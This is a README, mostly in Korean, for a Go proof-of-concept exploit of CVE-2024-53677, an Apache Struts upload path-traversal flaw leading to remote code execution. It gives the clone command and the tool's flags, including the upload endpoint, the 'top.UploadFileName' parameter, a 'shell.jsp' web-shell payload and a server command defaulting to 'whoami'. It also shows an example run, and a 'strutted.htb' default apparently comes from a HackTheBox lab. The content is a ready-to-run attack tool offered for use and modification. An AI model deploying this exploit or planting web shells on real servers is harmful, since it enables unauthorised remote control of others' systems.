
a proof of concept of CVE-2024-53677
다소 오래된 취약점으로, Apache Struts에 영향을 주며 LFI 및 원격 실행으로 이어집니다.
Apache Struts 경로 탐색 → RCE (CVE-2024-53677)
이 CVE를 처음 접했을 때 제대로 구현한 좋은 소스를 찾지 못했기 때문에, 가능한 한 사용자 정의가 가능하도록 만드는 데 많은 시간을 투자했습니다. 대부분의 플래그에는 기본값이 있으므로 이러한 모든 플래그에 겁먹지 마세요.
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
이 모든 명령어에는 기본값이 있습니다. 또한 파일이 배치되어야 할 위치를 확인하는 테스트 함수를 구현했으며, 이는 사용자 구성 가능 옵션입니다.
go run . -url http://127.0.0.1:8080/ -end-point upload.action
몇 가지 주의할 점.
익스플로잇을 자유롭게 수정하거나 추가하세요 ♥️.